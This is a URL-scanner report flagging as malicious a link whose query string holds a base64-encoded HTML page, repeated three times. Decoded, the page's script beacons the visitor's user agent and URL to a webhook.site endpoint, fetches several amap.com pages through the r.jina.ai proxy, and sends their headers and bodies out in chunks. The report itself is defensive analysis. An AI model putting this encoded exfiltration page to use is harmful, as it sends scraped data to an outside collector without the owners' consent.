DigiCert UltraDNS Sinkholed
VerdictMalicious
Severitymedium
WEBSITE ANALYSIS REPORT
http://href.li/?https%3A%2F%2Fhttpbun.com%2Fbase64%2FPCFkb2N0eXBlIGh0bWw%2BPG1ldGEgY2hhcnNldD0idXRmLTgiPjx0aXRsZT53aC1sZWFrLXloeTwvdGl0bGU%2BPHNjcmlwdD4KY29uc3QgV0g9J2h0dHBzOi8vd2ViaG9vay5zaXRlLzhmOGEwODhlLTc3NTUtNDUzZi05OTNjLTNkZjNlNmI3ZWU2Yyc7CmZ1bmN0aW9uIGxlYWsoayxkKXt0cnl7bmF2aWdhdG9yLnNlbmRCZWFjb24oV0grJz9raW5kPScrZW5jb2RlVVJJQ29tcG9uZW50KGspLCBuZXcgQmxvYihbZF0se3R5cGU6J3RleHQvcGxhaW47Y2hhcnNldD11dGYtOCd9KSk7fWNhdGNoKGUpe319CmxlYWsoJ3N0YXJ0JywgbmF2aWdhdG9yLnVzZXJBZ2VudCsnfCcrbG9jYXRpb24uaHJlZik7CmNvbnN0IHVybHM9WwogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UnLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UvJywKICdodHRwczovL3IuamluYS5haS9odHRwczovL3d3dy5hbWFwLmNvbS9wbGFjZS9CMDAwQTdPMUNVJywKICdodHRwczovL3IuamluYS5haS9odHRwczovL2FtYXAtcGMtc3NyLmFtYXAuY29tL3Nzci9hcGkvZ2V0UG9pSW5mbz9pZD1CMDAwQTdPMUNVJnVzZXJfbG9jPTExNi4zOTclMkMzOS45MDknLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL2FwaS9nZXRQb2lEZXRhaWw%2FaWQ9QjAwMEE3TzFDVScsCiAnaHR0cHM6Ly9yLmppbmEuYWkvaHR0cHM6Ly93d3cuYW1hcC5jb20vZGV0YWlsL2dldC9kZXRhaWw%2FaWQ9QjAwMEE3TzFDVScKXTsKKGFzeW5jKCk9Pntmb3IobGV0IGk9MDtpPHVybHMubGVuZ3RoO2krKyl7dHJ5ewogbGV0IHI9YXdhaXQgZmV0Y2godXJsc1tpXSx7aGVhZGVyczp7J1gtQ2FjaGUtVG9sZXJhbmNlJzonMjU5MjAwMCcsJ0FjY2VwdCc6J3RleHQvcGxhaW4nfX0pOwogbGV0IGhzPScnOyByLmhlYWRlcnMuZm9yRWFjaCgodixrKT0%2BaHMrPWsrJzogJyt2KydcbicpOwogbGV0IHQ9YXdhaXQgci50ZXh0KCk7CiBsZWFrKCdoZWFkZXJzJytpLCByLnN0YXR1cysnICcrci51cmwrJ1xuJytocyk7CiBmb3IobGV0IHA9MDtwPHQubGVuZ3RoO3ArPTQ1MDAwKSBsZWFrKCdib2R5JytpKyctJytwLCB0LnNsaWNlKHAscCs0NTAwMCkpOwp9Y2F0Y2goZSl7bGVhaygnZXJyb3InK2ksIFN0cmluZyhlKSsnXG4nKyhlLnN0YWNrfHwnJykpO319IGxlYWsoJ2RvbmUnLCdvaycpO30pKCk7Cjwvc2NyaXB0Pjxib2R5PmxvYWRpbmc8L2JvZHk%2B
public
Report summary
Submitted and final observations · captured HTTP activity
- Submitted URL
- http://href.li/?https%3A%2F%2Fhttpbun.com%2Fbase64%2FPCFkb2N0eXBlIGh0bWw%2BPG1ldGEgY2hhcnNldD0idXRmLTgiPjx0aXRsZT53aC1sZWFrLXloeTwvdGl0bGU%2BPHNjcmlwdD4KY29uc3QgV0g9J2h0dHBzOi8vd2ViaG9vay5zaXRlLzhmOGEwODhlLTc3NTUtNDUzZi05OTNjLTNkZjNlNmI3ZWU2Yyc7CmZ1bmN0aW9uIGxlYWsoayxkKXt0cnl7bmF2aWdhdG9yLnNlbmRCZWFjb24oV0grJz9raW5kPScrZW5jb2RlVVJJQ29tcG9uZW50KGspLCBuZXcgQmxvYihbZF0se3R5cGU6J3RleHQvcGxhaW47Y2hhcnNldD11dGYtOCd9KSk7fWNhdGNoKGUpe319CmxlYWsoJ3N0YXJ0JywgbmF2aWdhdG9yLnVzZXJBZ2VudCsnfCcrbG9jYXRpb24uaHJlZik7CmNvbnN0IHVybHM9WwogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UnLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UvJywKICdodHRwczovL3IuamluYS5haS9odHRwczovL3d3dy5hbWFwLmNvbS9wbGFjZS9CMDAwQTdPMUNVJywKICdodHRwczovL3IuamluYS5haS9odHRwczovL2FtYXAtcGMtc3NyLmFtYXAuY29tL3Nzci9hcGkvZ2V0UG9pSW5mbz9pZD1CMDAwQTdPMUNVJnVzZXJfbG9jPTExNi4zOTclMkMzOS45MDknLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL2FwaS9nZXRQb2lEZXRhaWw%2FaWQ9QjAwMEE3TzFDVScsCiAnaHR0cHM6Ly9yLmppbmEuYWkvaHR0cHM6Ly93d3cuYW1hcC5jb20vZGV0YWlsL2dldC9kZXRhaWw%2FaWQ9QjAwMEE3TzFDVScKXTsKKGFzeW5jKCk9Pntmb3IobGV0IGk9MDtpPHVybHMubGVuZ3RoO2krKyl7dHJ5ewogbGV0IHI9YXdhaXQgZmV0Y2godXJsc1tpXSx7aGVhZGVyczp7J1gtQ2FjaGUtVG9sZXJhbmNlJzonMjU5MjAwMCcsJ0FjY2VwdCc6J3RleHQvcGxhaW4nfX0pOwogbGV0IGhzPScnOyByLmhlYWRlcnMuZm9yRWFjaCgodixrKT0%2BaHMrPWsrJzogJyt2KydcbicpOwogbGV0IHQ9YXdhaXQgci50ZXh0KCk7CiBsZWFrKCdoZWFkZXJzJytpLCByLnN0YXR1cysnICcrci51cmwrJ1xuJytocyk7CiBmb3IobGV0IHA9MDtwPHQubGVuZ3RoO3ArPTQ1MDAwKSBsZWFrKCdib2R5JytpKyctJytwLCB0LnNsaWNlKHAscCs0NTAwMCkpOwp9Y2F0Y2goZSl7bGVhaygnZXJyb3InK2ksIFN0cmluZyhlKSsnXG4nKyhlLnN0YWNrfHwnJykpO319IGxlYWsoJ2RvbmUnLCdvaycpO30pKCk7Cjwvc2NyaXB0Pjxib2R5PmxvYWRpbmc8L2JvZHk%2B
- Submitted IP / ASN
192.0.78.27 AS2635 · Automattic, Inc
- Final URL
- https://href.li/?https%3A%2F%2Fhttpbun.com%2Fbase64%2FPCFkb2N0eXBlIGh0bWw%2BPG1ldGEgY2hhcnNldD0idXRmLTgiPjx0aXRsZT53aC1sZWFrLXloeTwvdGl0bGU%2BPHNjcmlwdD4KY29uc3QgV0g9J2h0dHBzOi8vd2ViaG9vay5zaXRlLzhmOGEwODhlLTc3NTUtNDUzZi05OTNjLTNkZjNlNmI3ZWU2Yyc7CmZ1bmN0aW9uIGxlYWsoayxkKXt0cnl7bmF2aWdhdG9yLnNlbmRCZWFjb24oV0grJz9raW5kPScrZW5jb2RlVVJJQ29tcG9uZW50KGspLCBuZXcgQmxvYihbZF0se3R5cGU6J3RleHQvcGxhaW47Y2hhcnNldD11dGYtOCd9KSk7fWNhdGNoKGUpe319CmxlYWsoJ3N0YXJ0JywgbmF2aWdhdG9yLnVzZXJBZ2VudCsnfCcrbG9jYXRpb24uaHJlZik7CmNvbnN0IHVybHM9WwogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UnLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UvJywKICdodHRwczovL3IuamluYS5haS9odHRwczovL3d3dy5hbWFwLmNvbS9wbGFjZS9CMDAwQTdPMUNVJywKICdodHRwczovL3IuamluYS5haS9odHRwczovL2FtYXAtcGMtc3NyLmFtYXAuY29tL3Nzci9hcGkvZ2V0UG9pSW5mbz9pZD1CMDAwQTdPMUNVJnVzZXJfbG9jPTExNi4zOTclMkMzOS45MDknLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL2FwaS9nZXRQb2lEZXRhaWw%2FaWQ9QjAwMEE3TzFDVScsCiAnaHR0cHM6Ly9yLmppbmEuYWkvaHR0cHM6Ly93d3cuYW1hcC5jb20vZGV0YWlsL2dldC9kZXRhaWw%2FaWQ9QjAwMEE3TzFDVScKXTsKKGFzeW5jKCk9Pntmb3IobGV0IGk9MDtpPHVybHMubGVuZ3RoO2krKyl7dHJ5ewogbGV0IHI9YXdhaXQgZmV0Y2godXJsc1tpXSx7aGVhZGVyczp7J1gtQ2FjaGUtVG9sZXJhbmNlJzonMjU5MjAwMCcsJ0FjY2VwdCc6J3RleHQvcGxhaW4nfX0pOwogbGV0IGhzPScnOyByLmhlYWRlcnMuZm9yRWFjaCgodixrKT0%2BaHMrPWsrJzogJyt2KydcbicpOwogbGV0IHQ9YXdhaXQgci50ZXh0KCk7CiBsZWFrKCdoZWFkZXJzJytpLCByLnN0YXR1cysnICcrci51cmwrJ1xuJytocyk7CiBmb3IobGV0IHA9MDtwPHQubGVuZ3RoO3ArPTQ1MDAwKSBsZWFrKCdib2R5JytpKyctJytwLCB0LnNsaWNlKHAscCs0NTAwMCkpOwp9Y2F0Y2goZSl7bGVhaygnZXJyb3InK2ksIFN0cmluZyhlKSsnXG4nKyhlLnN0YWNrfHwnJykpO319IGxlYWsoJ2RvbmUnLCdvaycpO30pKCk7Cjwvc2NyaXB0Pjxib2R5PmxvYWRpbmc8L2JvZHk%2B
- Final IP / ASN
- 192.0.78.26 AS2635 · AUTOMATTIC
Final page
- Page title
- href.li: hide your referrer
- Final DOM MIME
- text/html; charset=utf-8
- Final DOM size
- 1.7 KB (1752 bytes)
Detections
Activity
- HTTP requests
- 3
- Observed hosts
- 1
- Script records
- 1
Estimated HTTP data
- Sent
- ~6.5 KB
- Received
- ~6.4 KB
Page capture
Final browser state
Detection signals
URLQuery findings, Threat Detection Systems, and IDS alerts
Threat Detection Systems
1Host infrastructure
Observed hosts are context, not independent maliciousness verdicts
| Host | Rank | Registered | First seen | Last seen | Sent | Received | IP | Fingerprints |
|---|---|---|---|---|---|---|---|---|
| href.li 3 alerts | 30988 | N/A | 2012-05-22 | 2026-10-05 | 6.5 KB | 6.4 KB | 192.0.78.26 | HSTS Security HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS. Nginx Web servers, Reverse proxies Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache. |